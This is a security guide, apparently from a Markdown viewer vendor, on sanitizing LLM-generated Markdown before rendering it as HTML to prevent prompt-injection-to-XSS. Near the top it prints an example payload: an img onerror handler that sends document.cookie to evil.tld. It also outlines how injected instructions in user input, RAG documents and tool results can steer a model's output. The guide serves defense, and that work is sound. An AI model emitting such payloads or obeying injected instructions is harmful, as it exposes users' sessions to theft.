Rendering ChatGPT Markdown as Safe HTML: A Security Guide (2026)
LLMs output Markdown. Rendering it naively opens an XSS hole. Here's how to convert ChatGPT, Claude, and Gemini Markdown into sanitized HTML safely — with a hosted API or a hardened local pipeline.
Large language models speak Markdown. Ask ChatGPT, Claude, or Gemini for anything and you get back headings, lists, bold text, tables, and fenced code — all in Markdown. To show that in a web app, you convert it to HTML. And the moment you inject model-generated HTML into the DOM, you've created an XSS attack surface.
This guide explains exactly where the risk is and how to render LLM Markdown as safe HTML — using a hosted render API that sanitizes for you, or a hardened local pipeline if you render in-process.
Why "just render it" is dangerous
Markdown allows raw HTML by design. CommonMark passes <div>, <img>, even <script> straight through. So if your pipeline is:
const html = markdownToHtml(llmOutput); // ⚠️ unsanitized
element.innerHTML = html; // ⚠️ XSS
…then an attacker who can influence the prompt (via user input, RAG documents, tool results, or a poisoned knowledge base) can make the model emit:
Here is your answer.
<img src=x onerror="fetch('https://evil.tld/steal?c='+document.cookie)">
<script>/* exfiltrate session */</script>
Your renderer happily turns that into live HTML, and your innerHTML executes it. This is prompt-injection-to-XSS, and it's one of the most common vulnerabilities in AI products.
The threat model has expanded
Traditional UGC (user-generated content) was the only untrusted Markdown source. With LLMs, the model output itself is untrusted, because:
- Prompt injection can steer output through user messages.
- RAG / tool use feeds external documents into context, which can carry malicious instructions and markup.
- Indirect injection hides payloads in web pages, PDFs, or emails the model reads.
Treat every byte of model output as untrusted input — the same as a form field from an anonymous user.
The safe rendering rule
Never inject LLM-generated HTML without sanitizing it against a strict allowlist first.
Two ways to comply:
- Use a hosted endpoint that sanitizes — the render API returns HTML already cleaned with DOMPurify.
- Sanitize locally with a hardened Markdown parser + DOMPurify and a conservative config.
Option 1: Hosted render API (simplest)
The /api/v1/render endpoint converts Markdown to HTML and sanitizes the output server-side — <script>, inline event handlers (onclick, onerror), and javascript: URLs are stripped before the response leaves the server.
async function renderLlmMarkdown(markdown) {
const res = await fetch("https://trymarkdownviewer.com/api/v1/render", {
method: "POST",
headers: {
"Authorization": `Bearer ${process.env.MDV_API_KEY}`,
"Content-Type": "application/json",
},
body: JSON.stringify({ markdown }),
});
const { data } = await res.json();
return data.html; // already sanitized
}
// In your component:
const safeHtml = await renderLlmMarkdown(chatResponse);
container.innerHTML = safeHtml; // safe — script/handlers/js: URLs removed
The same engine powers the Markdown editor preview, so what you test in the browser matches production. Output is plain semantic HTML (<h1>, <p>, <pre><code class="language-js">) — style it with your own CSS.
When the hosted route shines
- You're streaming chat responses and want one consistent, audited sanitizer.
- You don't want to own DOMPurify config and keep it patched.
- You render Markdown in multiple services (web, mobile backend, email) and want identical output.
Option 2: Hardened local pipeline
If you must render in-process (offline, latency, or data-residency reasons), do it with defense in depth:
import { marked } from "marked";
import DOMPurify from "dompurify";
// 1. Parse Markdown to HTML
marked.setOptions({ gfm: true });
const rawHtml = marked.parse(llmOutput);
// 2. Sanitize against a strict allowlist
const safeHtml = DOMPurify.sanitize(rawHtml, {
ALLOWED_TAGS: [
"h1","h2","h3","h4","p","ul","ol","li","blockquote",
"strong","em","del","code","pre","a","img","table",
"thead","tbody","tr","th","td","hr","br",
],
ALLOWED_ATTR: ["href","src","alt","title","class"],
ALLOW_DATA_ATTR: false,
});
Then add post-sanitization hardening:
- Force external links to
rel="noopener noreferrer nofollow"andtarget="_blank"via a DOMPurify hook. - Restrict
img srctohttps:(or proxy images) to block tracking pixels andonerrortricks (the handler is already stripped, but proxying images also kills IP-leak pixels). - Drop
hrefschemes other thanhttp(s):andmailto:.
Order matters: sanitize after converting Markdown to HTML, never before. Sanitizing the Markdown source misses HTML the parser generates.
Don't forget code blocks
LLMs constantly return fenced code. Two pitfalls:
- HTML inside code blocks must be escaped, not executed. A good renderer emits
<pre><code><script></code></pre>— the angle brackets are entities, so it displays as text. Verify yours does. - Syntax highlighting runs on text, not HTML. Apply highlight.js/Prism to the escaped code content, never by re-parsing as HTML.
To inspect what the model emitted, the code block extractor pulls every fence by language so you can audit suspicious snippets.
Validate structure too (not just safety)
Sanitization handles security; it doesn't catch malformed Markdown that renders weirdly. Run model output through the validate API before persisting:
const v = await fetch("https://trymarkdownviewer.com/api/v1/validate", {
method: "POST",
headers: { Authorization: `Bearer ${key}`, "Content-Type": "application/json" },
body: JSON.stringify({ markdown: llmOutput }),
}).then(r => r.json());
if (!v.data.valid) {
// log, fix, or regenerate before storing
}
For a full treatment of structural validation of AI output, see LLM Markdown output validation.
A complete AI rendering pipeline
LLM output (untrusted)
│
├─▶ validate → structural sanity (/api/v1/validate)
│
├─▶ render → sanitized HTML (/api/v1/render, DOMPurify)
│
├─▶ harden → link rel, img proxy, scheme allowlist
│
└─▶ inject → innerHTML (now safe) / React dangerouslySetInnerHTML
In React, even with sanitized HTML, prefer a vetted Markdown component or pass the sanitized string to dangerouslySetInnerHTML — never the raw model output.
Checklist before you ship
- LLM output is treated as untrusted input.
- HTML is sanitized after Markdown→HTML conversion.
-
<script>, event handlers, andjavascript:/data:URLs are stripped. - External links get
rel="noopener noreferrer nofollow". - Image
srcis restricted tohttps:or proxied. - HTML inside code fences is escaped, not executed.
- Output is structurally validated before storage.
- The sanitizer config is reviewed and kept patched.
Common mistakes
1. Sanitizing the Markdown, not the HTML. Sanitize the rendered HTML — that's where injection lands.
2. Trusting the model. "It's our own LLM" doesn't help — prompt injection comes from user/RAG input, not the model's intentions.
3. dangerouslySetInnerHTML on raw output. Always pass sanitized HTML.
4. Allowing data: and javascript: URLs. Both are XSS vectors. Allowlist http(s): and mailto: only.
5. Forgetting RAG content. Documents pulled into context are an injection channel — sanitize what the model produces from them.
Related articles
- LLM Markdown output validation — structural correctness of AI output
- ChatGPT Markdown formatting guide — getting clean Markdown from the model
- Markdown to HTML guide — conversion internals
- Lint Markdown in CI — same validate API in pipelines
- Render API reference
Quick reference
| Risk | Mitigation |
|---|---|
<script> in output | Sanitize HTML (DOMPurify / render API) |
onerror/onclick | Strip event handlers |
javascript:/data: URLs | Scheme allowlist |
Tracking/onerror images | https: only or proxy |
| Malformed structure | validate API |
| HTML in code fences | Ensure entities, not execution |
LLM Markdown is untrusted input. Render it through a sanitizing pipeline — the hosted render API or a hardened local DOMPurify config — and prompt-injection-to-XSS stops being a way to ship your users' cookies to an attacker.
Written by Markdown Viewer Team. Found this useful? Try the editor →
Keep reading
Hand-picked articles related to this one.
LLMs return Markdown that's usually right and occasionally broken — unbalanced fences, bad tables, skipped headings, dead links. Here's how to validate AI output programmatically before you trust it.
Ship documentation from Git with Markdown — repo structure, Hugo, Docusaurus, MDX, review workflows, CI linting, API automation, and patterns documentation teams use at scale.
Convert Markdown to clean HTML for CMS, email, and static sites — browser tools, CLI, JavaScript libraries, static generators, and API pipelines compared with code examples.